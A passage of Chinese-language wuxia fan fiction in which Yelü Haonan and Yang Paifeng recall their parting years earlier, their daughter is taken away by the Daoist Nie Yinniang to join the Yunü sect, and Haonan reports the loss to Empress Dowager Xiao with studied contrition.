他重伤之下,意志与定力本就虚弱到了极点,再也无法抵抗这接二连三的,最原始最直接的情感冲击。他猛地反手,一把扣住了她环在自己腰间的手腕。 掌心触及的,是她手腕细腻却不失力道的肌肤,以及……她因为常年握持烧火棍练武,在虎口与掌心处磨出的一层粗糙厚茧。那种粗粝的触感,混合着她身上少女特有的清冽气息,以及洞外飘入的、混着泥土与青草气味的雨水腥气,形成一种奇异而强烈的刺激。 岩缝中渗下的雨水,滴落在篝火边缘,发出“滋啦”的声响,腾起一小缕白烟。这声音,与她带着哭腔却又异常坚定的那句“太君说过……想要的,就该去争!”混在一起,如同投入干柴的火星,瞬间在耶律皓南已濒临崩溃的理智防线上,点燃了燎原大火。 …… 待到东方天际泛起第一缕鱼肚白,暴雨渐歇,洞内只余篝火燃尽的余烬与温度。杨排风蜷缩在他怀中,呼吸均匀绵长,已沉沉睡去。她的羽睫上还挂着未干的泪珠,在晨光中晶莹剔透。凌乱的发丝间,不知何时缠上了他衣襟上不知何时崩落的一枚小小的黄铜衣扣。 耶律皓南静静地躺了许久,直到感受到体内逆行的内力暂时被压制、恢复了一丝行动能力。他极其缓慢地、小心翼翼地抽出被她枕着的手臂,起身从怀中取出那枚代表着他北汉王室最后血脉身份的蟠龙纹白玉佩,轻轻地、稳稳地塞进了她因为熟睡而微微松开的掌心,然后用她的手指,帮她握紧。 他赤着足,踩过冰冷潮湿的岩石地面,无声地踏出了山洞,融入了晨雾弥漫的山林。 但他并未远遁。 杨排风醒来时,下意识地摸向身侧,触手只有冰冷空荡的岩壁。她猛地坐起,看着空无一人的山洞,掌心那枚冰凉的玉佩硌得她生疼。她愣了片刻,忽然明白了什么,泪水再也控制不住,大颗大颗地砸落下来,正好砸在玉佩上那精雕细琢的蟠龙纹路之上——那位置,恰是昨夜她强忍着未让其落下的泪水,曾经悬挂的地方。 “耶律皓南!”她冲出山洞,对着空茫的山谷,用尽全身力气嘶声喊道,“你——连句话都不给我留吗?” 声音在寂静的山谷中不断回荡,惊起了栖息在林间的寒鸦,“扑棱棱”地飞起一片。 而在百步之外,一棵古树浓密的树冠阴影中,耶律皓南背靠着粗糙的树干,静静地听着那带着哭腔的呼喊一遍遍回荡,直到渐渐消失。他的手指深深抠进了树皮之中,留下几道带血的指痕。 此后三日,他始终隐在暗处,保持着恰好能看见她,却不易被发现的距离,默默地遥随。看着她跌跌撞撞地在山林中寻找,看着她因为疲惫和伤心而越发憔悴,看着她对着溪水中自己的倒影发呆…… 直到——焦廷贵殒身密林的那个下午。 杨排风被一伙不明身份的黑衣人围剿,对方人多势众,手段狠辣。她身形踉跄,眼看一柄弯刀就要劈向她的后心! 耶律皓南再也无法隐匿! “哗啦!”他缠在腕间的玄铁细链如同黑龙出洞,带着尖锐的破空声,瞬间卷住了那柄弯刀的刀身,用力一扯。刀锋偏离,擦着杨排风的衣角划过,带起的劲风却将她脸颊上未干的泪痕与溅上的血珠混在了一起。 救下人后,他沉默地撕下自己已经破烂的袍角,为她草草包扎伤口。当他的指节无意中触到她颈间那枚被体温焐得微热的蟠龙玉佩时,两人的身体皆是不可抑制地一颤。 目光相接,彼此的眼中都映着对方狼狈却又复杂难言的神情。空气仿佛在那一刹凝固。 之后的十余日,两人默契地不再提及山洞之夜,只是结伴徒步穿越荒无人烟的密林。啃着硬得硌牙的冷馍,饮着山涧冰凉的泉水,偶尔设套捕到一只野兔,便是难得的美味。 杨排风因为旧伤未愈,加上长途跋涉,脚步时常不稳。每当她踩到碎石踉跄时,耶律皓南总是会及时地伸出手中那根充当拐杖的烧火棍,横拦在她腰际,稳住她的身形。夜宿岩洞或树下时,她会默默地将搜集来的最厚实最干爽的草叶或枯枝,铺在他旧伤发作的那一侧身下。 然而,他始终避而不谈那夜山洞中发生的一切,避而不谈两人之间那已经彻底改变的关系。只在她偶尔问及辽国的风土人情、军事布防时,他的眼底才会闪过一瞬即逝的,如同烈火般灼热的光芒——那里面燃烧着的,是对重整河山,光复北汉的无比渴望,是对金戈铁马、指点江山的极致向往。 那才是他耶律皓南魂牵梦萦、愿为之付出一切的毕生大业。而怀中这个倔强又炽热的少女……不过是他为自己预设的、未来复国成功后,用以稳固后宫、联络宋辽关系的一枚棋子——未来的皇后。 至宋军边境辕门三里外,一条清澈的小溪旁。 杨排风忽然停下脚步,转过身,目光清澈地看着他:“前面……就是我大宋的军营了。你……还要跟着吗?” 耶律皓南沉默了。他静静地凝视着她,目光如同深不见底的寒潭,将她的眉、她的眼、她脸上每一处细微的线条与神情,都细细地、深深地描摹,仿佛要将这张脸,这个人,刻进自己的骨血深处,灵魂之中。 良久。 他终是什么也没有说,缓缓地、决绝地转过了身。白色的衣袍在山风中翻飞,如同一只挣脱束缚却又不知归处的孤鹤。 就在他转身没入枯林的刹那,怀中一物“啪嗒”一声轻响,掉落在尘土之中。那是半块被吃了一半、已经变得干硬的粟米饼。 ——正是昨夜宿营时,杨排风趁他不注意,偷偷塞进他行囊里的那半块。 杨排风没有立刻去捡。她静静地立在溪边,目送着他的背影彻底消失在林木深处。掌心那枚蟠龙玉佩被她紧紧攥着,硌出了深深的,几乎要嵌入骨肉的痕迹。 她就这样站着,从日落站到月升,又从月升站到月沉。夜露打湿了她的衣衫和头发。 仰起头时,夜空中恰有一颗流星划过,拖着长长的、凄美的光尾,坠向的方向……正是北方,辽国的方向。 庭院中,聂隐娘仿佛对耶律皓南内心翻腾的往事浑然不觉,也对缩在一旁大气不敢喘的凌霄子不再理会。她忽然从另一侧袖中,取出了一面看似古朴、边缘已有铜绿的青铜圆镜。 “此镜乃是汉武帝时期,为镇压未央宫中妖异而铸的‘镇妖镜’仿品。”她的手指轻抚过冰凉的镜背,那上面雕刻着繁复的云雷纹与四象图案,“虽不及真品能照彻幽冥、显现妖邪本相,但用以平日梳妆理容……倒还算清晰。” 说着,她手腕微微一转,将镜面对准了东厢房的方向。 清冷的镜光如同水波般荡漾开去,穿透窗棂。镜中竟然映出了东厢房内的情景:五岁的刘望舒正被乳母抱在怀中,看到镜中忽然出现了几颗晶莹剔透、散发着甜香气息的“糖果”,她好奇地睁大了眼睛,伸出小手,踮着脚尖就想去够。 那“糖果”在镜中散发着柔和的七彩光晕,诱人无比。然而耶律皓南却知道,那根本不是什么糖果,而是以东海深处鲛人临死前流下的最纯净的“鲛人泪”为主料,辅以数十种灵花仙草炼制而成的灵丹!每一粒的价值,都足以换取三匹来自漠北草原的千里神骏!聂隐娘竟然将这等珍物,用来逗弄一个五岁孩童! “若是这样……还不肯。”聂隐娘的声音渐渐转冷,她收回铜镜,食指与中指之间,不知何时已拈着一枚通体黝黑、毫不起眼的玄铁令牌。令牌形制古拙,正面阴刻着一幅简略的星辰河图,背面则是一个古篆的“推”字。 “那么,此物——”她的手指轻轻一弹,玄铁令牌发出“铮”的一声轻鸣,划过一道黑线,“叮”的一声轻轻落在了耶律皓南面前的青石地面上。 “这是唐时钦天监监正、一代玄学宗师袁天罡生前随身携带,用以推演天机的‘推背令’。”聂隐娘的目光落在那枚黝黑的令牌上,“虽不能如传说中那般逆转乾坤、改天换命,但用以护持一人平安,遮掩天机,避凶趋吉……想来,还是足够的。” 令牌落地的刹那,异象再生! 以玄铁令牌为中心,地面上那些因为聂隐娘到来而凝结的霜纹,竟然迅速地变化、蔓延,在霜纹之上,凭空生出了一簇簇、一丛丛金灿灿的、形态奇特的花朵!那花朵形如喇叭,色泽纯金,在晨光下流转着迷离的光晕,散发出一种甜腻却又让人心神恍惚的异香。 正是传说中生长在西方极乐世界边缘、能引发人无限幻想的——金色曼陀罗! 先是驻颜璎珞、定海珠,再是万金难求的沉香木珠、鲛人泪灵丹,现在又是袁天罡的推背令、凭空生出的金色曼陀罗……聂隐娘这是在用最直接、最赤裸的方式,向耶律皓南展示着玉女门深不可测的底蕴与豪奢。这是利诱,是炫耀,更是一种无声的威压:我能给出的,远超你的想象;而我想要的,你最好不要拒绝。 就在此时—— “唰!” 一道赤红色的影子,如同燃烧的火矢,从庭院月洞门后疾射而出,稳稳地落在了耶律皓南身侧。正是闻讯赶来的杨排风。 她一身利落的玄色劲装,手中握着那根伴随她多年、看似寻常的烧火棍。她的目光先是快速地扫过丈夫紧攥成拳、指缝间正缓缓渗出暗红色血迹的手——那是昨夜他占卜女儿命运、心绪激荡下不慎掐破自己掌心所致。 然后她的目光抬起,毫不避让地迎向了聂隐娘那双深邃冰寒的眼眸。 “聂掌门。”杨排风的声音平静,却带着一种不容忽视的力量。她手中的烧火棍尖,似乎无意地向上一挑,正好挑开了那枚悬浮的玉珏漾出的漫天霞光,“您玉女门中仙珍异宝无数,功法通玄。” 她顿了顿,目光变得锐利如刀,直视聂隐娘:“可这些东西……能保得住这孩子,将来不恨自己身上流着北汉王室与天波府杨家……这两道本该水火不容的血脉吗?” 恨? 这个问题,如同一把锋利的匕首,直接刺向了所有问题的核心,也戳破了聂隐娘用无数珍宝堆砌出的华丽泡影。 聂隐娘的目光,第一次出现了细微的波动。她静静地看了杨排风片刻,忽然,手中拂尘一卷,将地上那截来自萧太后赐名诏书时、作为“警示”的枯梅枝卷了起来,握在掌中。 “恨?”她的嘴角,勾起一抹奇异的、似笑非笑的弧度。 下一刹,令人震惊的一幕发生了! 那截本已枯死的梅枝,在她掌心之中,竟然以肉眼可见的速度,从断口处迅速地凝结出一颗颗晶莹剔透、如同冰晶雕琢而成的——果实!果实玲珑剔透,内部仿佛有星光流转,散发着惊人的灵气与寒意。 “玉女门中,有‘忘情丹’。”聂隐娘的声音平缓,“服之可忘却前尘往事,一切爱恨情仇,皆如云烟散去。” “也有‘铸心诀’。”她的目光变得深邃,“修之可直面一切宿命因果,将血脉中的纠葛与痛楚,化作淬炼道心的炉火。” 她忽然将手中那截结满冰晶果实的枯梅枝,向着耶律皓南所在的方向,轻轻一掷! “选哪一条路——” “就看你耶律皓南……舍不舍得了!” 舍不舍得? 是舍不得女儿离开身边,还是舍不得……让女儿忘却一切,包括他们这对父母? 枯梅枝划过一道柔和的弧线,稳稳地落入耶律皓南下意识伸出的掌心。 意想中的冰冷坚硬并未传来。那截枯梅枝在触及他皮肤的刹那,竟然瞬间化作了一块温润柔和、触手生温的暖玉! 玉质纯净,内有天然的纹路流转。而那纹路的形状…… 耶律皓南的瞳孔猛地收缩!他的手指不由自主地摩挲过那些纹路。那是一滴泪痕的形状——一滴曾在十二年前那个暴雨的山洞夜晚,从杨排风眼角滑落,滴在他胸前衣襟上,瞬间被粗麻布料吸收、却在他心上烙下永久印记的……泪渍的形状。 分毫不差。 聂隐娘静静地看着他,看着他因为这滴“泪痕”而剧烈震动的神情,看着他身侧杨排风同样骤然变化的脸色。 她没有再说话。 但所有未尽之言,所有软硬兼施的手段,所有关于选择与舍得的逼问,都已经融在了这一掷之中,融在了这滴横跨十二年光阴、凝结成玉的泪痕之中。 庭院中只余晨风拂过树梢的沙沙声,以及……那越发令人窒息的沉默。 22. 元亨利贞,玉女夺徒 暮色未至,午后的日头正毒辣,国师府庭园内,几株老梧桐筛下满地晃眼的金斑,蝉噪聒耳。杨排风刚给耶律皓南换完臂上刀伤的药,指尖无意掠过他紧绷的腕骨,忽地轻笑一声,那笑声清凌凌的,像碎玉敲在冰上,在这沉闷的午后格外清晰。 “看来,”她抬眼,眸子里映着细碎日光,带着毫不掩饰的促狭,“‘连夜跑路’这门手艺,是你们华山一脉祖传的绝学?嗯?” 耶律皓南正因伤口牵扯微微蹙眉,闻言耳根骤然一热,像是被正午的日头猛地灼了一下。他倏地抬眼看向她,却撞进她含笑的、亮晶晶的眸子里——那里没有怨恨,只有洞悉一切后的了然和一丝顽皮的戏谑。这神情,与十二年前那个雨夜山洞中,她含泪决绝地说出“死也不后悔”的模样重叠、交错……最终,竟是眼前这带着调侃的笑靥,更让他心头狠狠一悸,仿佛有滚烫的烙铁熨过。当年的誓言是沉痛的灼伤,而今这轻飘飘的调侃,却带着更锋利的刃,剖开了他深藏心底的、关于“逃离”的羞惭。 他张了张嘴,想辩解什么,却发现无从辩起。当年北汉复国执念如炽,与她在山洞春风一度后,他确是在黎明前最黑暗的时刻,留下了那块玉佩和她沉睡的侧影,独自踏上了那条不归路。那不是“跑路”是什么?纵然后来暗中护送,屡次回望,那份在情爱与大业间的取舍,那份将她独自留下的亏欠,始终是他心底一根不敢触碰的刺。此刻被她这般笑吟吟地挑破,那刺便猛地扎深了几分,又痒又痛,混合着被看穿的无措。 “我……”他喉结滚动,却只吐出一个干涩的音节。 就在这尴尬又微妙的静默蔓延开时,庭前那株百年古槐的粗壮枝桠,毫无征兆地“咔嚓”齐声折断!断口整齐如刀削,沉闷的声响压过了蝉鸣。 一道玄色身影,竟踏着漫天洒落的、炽烈如金的破碎日光,凌空而降! 聂隐娘依旧是那身纤尘不染的玄色道袍,此刻却在烈日下无风自动,猎猎作响。她拂尘随意一扫,方才还震耳欲聋的满园蝉鸣,竟如同被无形的手掐住了喉咙,瞬间死寂。午后燥热的空气,因她的到来而骤然冷却,仿佛提前步入深秋。 “耶律皓南。”她的声音清寒,不高,却字字清晰地送入每个人耳中,如同三九檐下悬垂的冰棱相互撞击,“玉女门看中的弟子,从无‘商量’二字。” 话音未落,一道闪烁着暗金色奇异纹路的帛卷自她袖中飞出,凌空展开,悬停在耶律皓南面前。帛卷上《太阴契书》四个古篆大字下方,“逆天改命”四字朱红如血,竟在日光下灼灼生辉,散发着不容置疑的、近乎蛮横的霸道意志。这非商讨,而是宣告。 几乎同时,一名侍女脸色煞白,踉跄着扑进月洞门,声音尖利变调:“国、国师!夫人!那位道长……她、她抱起小姐就走!” 众人倏然转头,只见庭院另一侧,聂隐娘不知何时已单手将五岁的刘望舒抱在怀中。女童似乎并未受惊,反而好奇地睁大了眼睛。更奇的是,她眉心那点天生的淡红瑶光痣,在炽烈阳光的照射下,竟隐隐映出一圈七彩的、流动的晕环,圣洁而神秘。 “道长说……”侍女喘着气,惊恐地复述,“与其让小姐将来在辽宫那吃人不吐骨头的地方受罪,不如随她上山,做那餐霞饮露、御剑千里的逍遥神仙!” “神仙?”聂隐娘唇角勾起一丝极淡的、近乎没有的弧度,目光扫过瞬间绷紧的耶律皓南和下意识握住烧火棍的杨排风,声音依旧冰寒,“玉女门的道理,便是这天上地下唯一的道理。我看中的人,由不得旁人安排命运。” 她足尖在院中石桌上看似随意地一点—— “轰!” 坚硬的青石桌面瞬间龟裂,裂纹并非杂乱无章,而是清晰地蔓延出北斗七星的图案!与此同时,她发间一枚式样古朴、尾端缀着七颗微缩北斗玉珠的金步摇激射而出,深深嵌入代表“天枢”星位的石缝中。旁边,不知用何物划出的八字深深镌入石砾:“十八年后,玉女临朝。” 霸道,决绝,不留任何转圜余地!这便是玉女门行事——我看中的,便是我的;我要给的,你只能受着;我说何时来取,便是何时。 耶律皓南瞳孔骤缩,五指猛地扣入石桌裂缝,粗糙的碎石边缘瞬间刺破掌心,鲜血渗出,他却浑然不觉。他的目光死死盯住那枚金步摇尾端震颤的北斗玉珠——那震颤的频率,竟与多年前萧太后赐名女儿“耶律观音”时,诏书上朱笔御批的“观音”二字残留的气韵,隐隐同频!原来如此……原来从那时起,甚至更早,女儿这非凡的命格,便已落入这方外之人的眼中,所谓的“赐名”,或许也在某种无形的推波助澜之下! 杨排风的手突然覆上他颤抖的、鲜血淋漓的手掌,她的手并不细腻,带着常年持棍的薄茧,却温暖而稳定。她凑近他耳边,声音压得极低,却字字清晰:“青天白日,众目睽睽,她这是故意闹大,将‘掳走’国师爱女做成‘仙缘天定’的铁案……皓南,她在替你扛下朝廷,尤其是萧太后那边的问责。让她走。” 理智在疯狂叫嚣,父女天性让他几乎要不顾一切地出手抢夺,但杨排风的话和聂隐娘这番毫不掩饰、近乎嚣张的做派,像冰水浇头。他明白,聂隐娘此举,是以最霸道的方式,给了他们一个无法拒绝、也无法追责的理由。女儿留在辽宫,在萧太后日益猜忌,皇室斗争暗流汹涌的当下,前途难测;跟聂隐娘走,虽前路未知,却或许真能挣脱这凡俗牢笼。 另一侧廊下,原本缩在阴影里抱着卤鹅啃得正香的凌霄子,在聂隐娘现身、尤其是看到她袖中飞出《太阴契书》时,就吓得浑身一哆嗦,一块鹅骨头不上不下地卡在喉咙里,憋得老脸通红。他徒弟刘朔,一个十二岁已显露出跳脱机灵的少年,趁机猫着腰蹿到耶律皓南身侧,扯着嗓子大喊: “爹!爹!我想起来了!妹妹满月时,师傅喂她那盅‘洗儿酒’,我偷偷瞧见他往里头加了东西!亮晶晶的粉末,他说是什么……西王母遗珠磨的粉!还念叨什么‘凤鸣九天,终需引子’……” “小兔崽子你给道爷闭嘴!”凌霄子惊得魂飞魄散,也顾不上喉咙里的骨头了,手中啃了一半的油汪汪鹅腿脱手飞出,精准地塞进了刘朔哇哇大叫的嘴里。他手忙脚乱地想掏罗盘,袖中那面焦黑古旧的罗盘却“当啷”一声掉在地上,盘面上一道清晰的裂痕,正正贯穿象征“坎水”的方位——而“坎水”,在命理中,往往对应幼女、子嗣宫位。 凌霄子脸色一阵红一阵白,眼见事已败露,干脆破罐子破摔,一把拎起还在“呜呜”挣扎的刘朔的后领,如同拎一只不听话的鸡崽,纵身便跃上墙头,那身油渍麻花的玄色道袍还被树枝“刺啦”勾出个大口子。他站在墙头,回头冲着耶律皓南急吼吼道: “皓南!师叔不瞒你了!桂英丫头当年逆天改命,你命中本该绝嗣。是道爷我!趁你媳妇怀这俩小崽子时,偷换了北斗星辉的一缕气机,给你们续上的香火脉!可这强行改命,必遭天忌,这两个孩子命格太显,压不住啊。”他指着地上罗盘的裂缝,又急急指向被聂隐娘抱着的刘望舒,“你看!应在这儿了!留在辽国?辽帝看朔儿的眼神早就不对劲了,跟盯祭品似的!道爷我不带他走,难道等着耶律宗真那小子把我这宝贝徒弟抓去,炼成那些见不得光的巫蛊傀儡?!” 耶律皓南眸光骤凛,瞬间理清了关窍。原来如此……难怪女儿生来便有异象,眉心瑶光痣,聪慧远超常儿。原来师叔所谓的“洗儿酒”,竟是借西王母遗珠这等传说中的神物,强行接引星辉,重塑命格。这已不是简单的逆天改命,简直是偷天换日!也正因如此,女儿这被“催生”出的、璀璨却也脆弱的非凡灵根,才会被同样精擅天机,修为通玄的聂隐娘隔空感应到。 聂隐娘似乎对凌霄子的狼狈逃窜和喋喋不休毫不在意。她只是抬手,将嵌入石桌的那枚金步摇凌空召回,指尖在其上一抹。刹那间,金步摇在炽烈的日光下光华大放,竟化出七只金乌的虚影,围绕着怀抱女童的她盘旋飞舞,热浪逼人,恍如神迹。 “耶律皓南,”她指尖轻轻掠过刘望舒柔软的发顶,女童的衣袂顿时无风自动,周身隐隐有清气流转,“留在辽国,她不过是萧太后掌中一把好看的刀,或是一枚待价而沽的棋;入我玉女门下,她将是未来劈开昆仑积雪的第一剑。” 一枚温润白玉符自她袖中缓缓飞出,悬浮空中,符上以古法镌刻的“破军”二字,散发出凌厉无匹、斩破一切的锋锐之气,灼灼耀目。 “玉女门《太阴炼形篇》,可洗濯她命格中的星煞反噬,重铸更契合大道的仙骨道基。”聂隐娘的声音依旧没什么温度,却带着一种绝对的自信,“十年。十年后,她是想踏碎凌霄,剑指九霄,还是想放下仙剑,归隐山林,做一个平凡快乐的凡人,皆由她自决。我玉女门,从不禁锢弟子道心。” 一直紧握烧火棍的杨排风,此刻突然横跨一步,烧火棍平平抬起,指向空中盘旋的金乌虚影,棍头微微颤抖,不是恐惧,而是母亲本能的警惕与不甘:“若她到时不愿修仙,只想承欢父母膝下,过平凡日子呢?” 聂隐娘冰寒的视线第一次真正落在杨排风身上,那目光如有实质,带着审视,却也有一丝极淡的,近乎欣赏的意味。她并未因这“冒犯”而动怒,只是淡淡道: “那就拆了玉女峰外的护山大阵与所有禁制,放她下山,红尘逍遥。”她顿了顿,似乎觉得有必要让这对父母更明白些,难得补充了一句,语气依旧冰冷,眼底却掠过一丝睥睨众生的傲然,“我座下大弟子展昭,当年叛出师门,执意要娶那庞太师府上的庞小蝶。我不过罚他在思过崖下面壁三年,之后便由他去了。庞小蝶自择凡尘姻缘,大婚时我遣人送去东海鲛人泪所凝的明珠一斛为贺——玉女门护短,护的便是弟子本心。我们不讲那些迂腐道理,” 她目光扫过耶律皓南和杨排风,最终落回怀中好奇张望的女童脸上,一字一句,斩钉截铁,“我们,只凭本事。” 天上地下,唯一的道理,便是玉女门有本事护住自己想护的人,有本事兑现自己给出的承诺。这比任何誓言,任何保证都更有力。 日影终于开始西斜,拉长了庭中破碎的影子。耶律皓南扣入石缝的手指缓缓松开,鲜血混着石粉簌簌落下。他摊开手掌,掌心不知何时握住了一截方才被气劲震落的枯梅枝。在他内力无意识的催动下,那枯枝竟以肉眼可见的速度,在他染血的掌心,颤巍巍地绽开了一朵极小的、鹅黄色的新蕊。 他望着女儿被金光环绕、逐渐模糊的小小身影,望着聂隐娘玄色道袍消失在刺目的日光尽头,心中那片因骤然分离而产生的巨大空落,竟奇异地,缓缓沉淀下去,化作一种沉重的,仿佛巨石终于坠地的释然。就像很多年前,在那个分别的山涧外,杨排风红着眼圈,指着前方说“前面就是我大宋军营了”时,他心中百般纠缠,千般不舍,最终却只能转身,踏出的那一步——明知是离别,却也是当时局面下,不得不为,也必须为之的唯一出路。如今,亦是如此。 檐角沉寂许久的铁马,忽被不知何处卷来的狂风吹得叮当乱响,杂乱无章。 墙外远远地,传来师叔凌霄子气急败坏、渐行渐远的嚷嚷,夹杂着少年刘朔被捂住嘴的“呜呜”声和含糊不清的追问: “朔儿你瞧见没?学着你爹点,欠了情债肯扛、肯负责的,那才算真汉子。像为师这般欠了债就知道跑路的……哎哟!那婆娘的拂尘怎么还带追踪的?!追到这来了?!快跑!” 接着是刘朔好不容易挣脱一点,充满少年人懵懂好奇又口无遮拦的闷喊:“师傅!您还欠了谁家情债啊?是不是也学我爹当年,留了信物就偷偷跑路了?然后就不管不问了?” “放屁!道爷我那能叫跑路吗?那叫战略性转移!再说……那能一样吗?你爹那是自己选的!道爷我那是……那是被迫的!那母老虎比聂隐娘还……哎哟喂!别打了!快走!” 声音狼狈远去,最终消散在风中。 耶律皓南听着墙外师叔被揭老底后恼羞成怒的辩解和仓皇逃窜的动静,再想起自己当年留下玉佩决然离开山洞的背影,耳根刚褪下去的热意又隐隐泛起。同样是“跑路”,师叔是欠了风流债怕被找上门,溜之大吉后恐怕真的不闻不问;而自己……却是背负着国仇家恨的执念,即便离开,也像影子一样在她周围徘徊了那么久,直到命运的洪流再次将他们冲到一起。这其中的煎熬与不得已,又岂是“跑路”二字能轻飘飘概括?可本质上,终究都是“逃离”。 星河初现时,一颗前所未有的明亮新星,灼灼划过辽国上京皇宫的方向,拖曳着长长的、清冷的光尾,不知最终照向的,是昆仑山玉女峰巅的千年积雪,还是盛京皇宫内那重重叠叠、幽深莫测的帘幕之后。 辽国皇宫,夜漏深沉。太后所居的永福宫偏殿内,烛火通明如昼,却驱不散那仿佛渗入玉砖骨髓的阴寒。烛影在精雕细刻的蟠龙柱上摇晃,将一切映照得影影绰绰,也映亮了御座上萧太后那双深不见底的眼眸。 耶律皓南伏跪于冰冷玉砖之上,身形凝定如磐石,唯有一呼一吸间的微颤,透露出他此刻翻涌的心绪。他身着的正是辽国南面朝官体系中国师的最高礼制袍服,每一处细节皆昭示着其位同三品以上的尊荣,亦暗合其执掌萨满与汉学之责的特殊身份。深紫袍身如夜穹覆地,其上金绣龙蟒仅在光影流转间偶现峥嵘;袖口暗龙随呼吸微现,似蛰伏的权柄与亟待宣泄的焦灼。此装束完美融合了汉官袍服的雍雅威仪与契丹萨满的神权符号,既彰显其位极人臣的国师之尊,亦暗喻其游走于两种文化、两重身份间的复杂本质。此刻,这身华服成为他情绪的延伸——外在的庄重恭谨与内里的波澜暗涌,皆在这衣纹起伏与光影明灭间,无言诉尽。 他刻意调整得略显急促,却又强行压制的呼吸声,形成一种精心设计过的“虚弱”与“沉重”。他伏得很低,姿态恭谨到近乎卑微,官帽早已脱下置于身侧,露出梳理得一丝不苟的发髻,额角却恰到好处地垂下几缕被“内力震散”的发丝,鬓边甚至逼出些许细密的汗珠,在烛光下闪着微光。 “臣……万死难赎其咎!”他的声音响起,沉痛中带着内力受损后难以完全掩饰的“虚浮”与颤抖,每一个字都像是从肺腑深处挤压而出,又似在强忍某种内伤带来的痛楚,“小女望舒……于国师府内,青天白日之下,被一玄衣道姑强行掳去。臣……臣与府中侍卫拼死阻拦,奈何那聂隐娘武功已臻化境,来去如鬼魅,臣……臣的北斗步法甫一展开,便被其拂尘轻描淡写一扫而破,气血逆行,竟……竟一时不得动弹,眼睁睁看着她携小女遁去……” 他陈述得极其细致,将聂隐娘的玄衣特征、出手的迅捷霸道、自己“奋力”却“不敌”的过程,描绘得绘声绘色,仿佛那一幕惊心动魄犹在眼前。言辞间充满了作为父亲的“无力”与作为臣子的“愧疚”,将“失女”与“失职”紧密捆绑。 额头轻触冰凉的地砖,那寒意直透颅脑。耶律皓南保持着这个姿势,继续以沉痛万分的语气奏道:“那道姑临去时,更是口出狂言,说什么……‘玉女门要的人,漫说是你这辽国国师,便是萧太后御驾亲征,千军万马,也未必拦得住!’” 他刻意将“玉女门”三字咬得极重,带着一种惊悸后的余颤,深知这神秘而强大的江湖超然势力,足以引起萧太后最深的忌惮与权衡。 稍作停顿,仿佛在平复内息,他才又艰难补充,语气带着一种“后知后觉”的恍然与无奈:“事后臣多方打探,方知此獠……这道姑,竟是与华山陈抟老祖齐名的聂隐娘……臣学艺不精,有负太后重托,竟连拖延片刻,等宫中高手来援都未能做到,实在……惭愧无地!” 他将自己摆在“事先不知对手底细、力战不敌”的位置,将“失职”巧妙转化为“实力悬殊下的无奈”,甚至点出“宫中高手”作为对比,暗示非己不尽心,实是敌人太强。 御案之后,萧太后指尖轻轻叩击着沉香木光滑的桌面,发出规律而沉闷的“笃、笃”声,在寂静的殿内格外清晰。她保养得宜的面容在烛火下半明半暗,目光幽深,仿佛能穿透耶律皓南恭顺的脊背,看到他体内真气流转是否真的如他所言那般“紊乱”。她的视线掠过他“微颤”的肩胛骨和鬓边的“冷汗”,嘴角几不可察地动了动,似有一丝极淡的,了然的冷意。 “国师且宽心。”她的声音缓缓响起,平和雍容,听不出喜怒,“此等江湖异人,行事乖张,非我朝堂律法,兵马甲胄所能常理度之。失了女儿,为人父母者,其心之痛,哀家岂能不知?你已尽力了。” 她先是表达了“理解”和“宽慰”,定下“非战之罪”的基调,将耶律皓南个人的“失职”轻轻揭过,上升到了朝廷力量与江湖规则的层面。 然而,接下来的话,却让俯首的耶律皓南心头微凛。“说起来,”萧太后语气依旧平缓,仿佛闲聊般提起,“哀家记得,去年嵩山武林大会,少林寺达摩院首座玄苦大师,一套般若掌已至炉火纯青之境,却在聂隐娘手下……走了不到十招便败下阵来。此事江湖传得沸沸扬扬,想必国师亦有耳闻?” 她不仅知道聂隐娘,连其近年战绩、对手身份、交手细节都如数家珍!这番话明着是宽慰耶律皓南“败给此人实属正常”,暗地里却是一记凌厉的敲打:不必在哀家面前过分渲染对手的强大以推卸责任,你对江湖的了解,未必深得过哀家。哀家对中原武林的掌控,远比你想象的要周密。 耶律皓南俯身的身姿更低了几分,几乎完全贴伏于地,声音中的“愧悔”更浓:“太后明鉴万里,臣……汗颜。确是臣无能,学艺不精,以致……” “说来可惜。”萧太后打断了他的请罪,语气忽然一转,带上了几分恰到好处的惋惜与柔和,腕间的蜜蜡佛珠在她指尖缓缓转动,映着烛光,“那孩子,哀家瞧着甚是聪慧可人,既已赐名‘观音’,便是与哀家、与这大辽宫闱有缘。哀家本想着,年后便让她入宫来,与几位长公主一同读书、习礼,将来必是我大辽闺秀典范。如今看来……倒是缘分浅薄,要另择佳选陪伴公主们了。” 她的目光似不经意地扫过耶律皓南的脊背,那柔和惋惜的语气里,却藏着冰锥般锐利审慎的寒光。“萧观音”这个赐名,本就是她亲手落下的一枚棋子,包含着将这位身负异象、父亲又是北汉皇室的国师之女,牢牢控制在宫闱视线之内,既可彰显恩宠,更是无形羁绊的深意。如今棋子被更强横的力量强行攫走,这层精妙安排瞬间落空,她心中的不悦与警惕,远非面上惋惜那么简单。这不仅是失去一个可能的人质,更是对她掌控力的一次意外挑战。 “臣教女无方,非但不能承欢太后膝下,反累太后挂心,实在罪该万死!”耶律皓南的应答滴水不漏,将责任全揽于自身“教女无方”,对太后“安排入宫伴读”的“厚爱”表示感恩戴德与无地自容,同时以头触地,青石砖传来的刺骨寒意,与他内心对萧太后心思的冷彻洞察交织在一起。 萧太后忽然微微倾身向前,烛火在她头顶的九凤衔珠金冠上跳跃,凤口衔着的东珠流转着幽冷的光泽,映得她眸光越发深邃难测。“哀家还听闻,”她声音放得更缓,却带着一种无形的压力,“那聂隐娘手中一柄拂尘,据说能化出北斗七星阵法,玄妙无比。不知比之国师你所精通的……天罡步法,孰高孰低?” 这是一道致命的考题。过分贬低自己,显得虚伪且可能暴露并未真正全力交手;过分抬高对手,则可能让太后怀疑自己是否未尽全力,甚至暗通款曲。耶律皓南伏在地上,沉默了片刻,仿佛在认真回忆比较,实则脑中急转。 终于,他抬起头,脸上带着一种武学探讨般的郑重与一丝“败北者”的颓然,缓声道:“回太后,北斗主生,天罡主死。生死相克,阴阳互济,本无绝对之高下。聂隐娘的北斗拂尘阵,取其生生不息、绵延不绝之意,变化万千;臣的天罡步法,则重在截断生机、一击毙命,凌厉刚猛。此番交手,是臣猝不及防,未能以‘死’克‘生’,反被其‘生’机所困……是臣修为不足,未能领悟生死转化之妙。” 这个回答极富玄学色彩,既承认了聂隐娘武功的高妙(“生生不息、变化万千”),也点明了自己武功路数的特点(“凌厉刚猛”),将胜负归于“猝不及防”和“修为领悟不足”,而非功法本身的高下。既保全了身为国师的颜面和功法传承的尊严,又维持了“力战不敌”说辞的一致性,堪称滴水不漏。 